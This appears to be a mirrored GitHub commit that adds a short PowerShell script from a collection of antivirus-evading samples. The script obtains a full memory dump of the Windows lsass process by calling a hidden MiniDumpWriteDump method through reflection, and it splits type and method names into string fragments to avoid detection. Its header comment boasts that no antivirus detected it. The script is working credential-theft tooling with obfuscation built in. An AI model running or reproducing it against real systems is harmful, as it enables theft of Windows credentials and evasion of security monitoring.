mirror of
https://github.com/tihanyin/PSSW100AVB
synced 2026-06-21 14:11:13 +00:00
Add files via upload
This commit is contained in:
committed by
GitHub
parent
ce3c059cfe
commit
6b561fff04
@@ -0,0 +1,14 @@
|
||||
#Twitter: @TihanyiNorbert (No AV detecetion 2022 March)
|
||||
#Full-memory lsass dump based on the original work of Matthew Graeber (@mattifestation)
|
||||
|
||||
$S = "C:\temp"
|
||||
$P = (Get-Process lsass)
|
||||
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
|
||||
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
|
||||
$C = [Reflection.BindingFlags] 'NonPublic, Static'
|
||||
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C)
|
||||
$PF = "$($P.Name)_$($P.Id).dmp"
|
||||
$PDP = Join-Path $S $PF
|
||||
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
|
||||
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
|
||||
$F.Close()
|
||||
Reference in New Issue
Block a user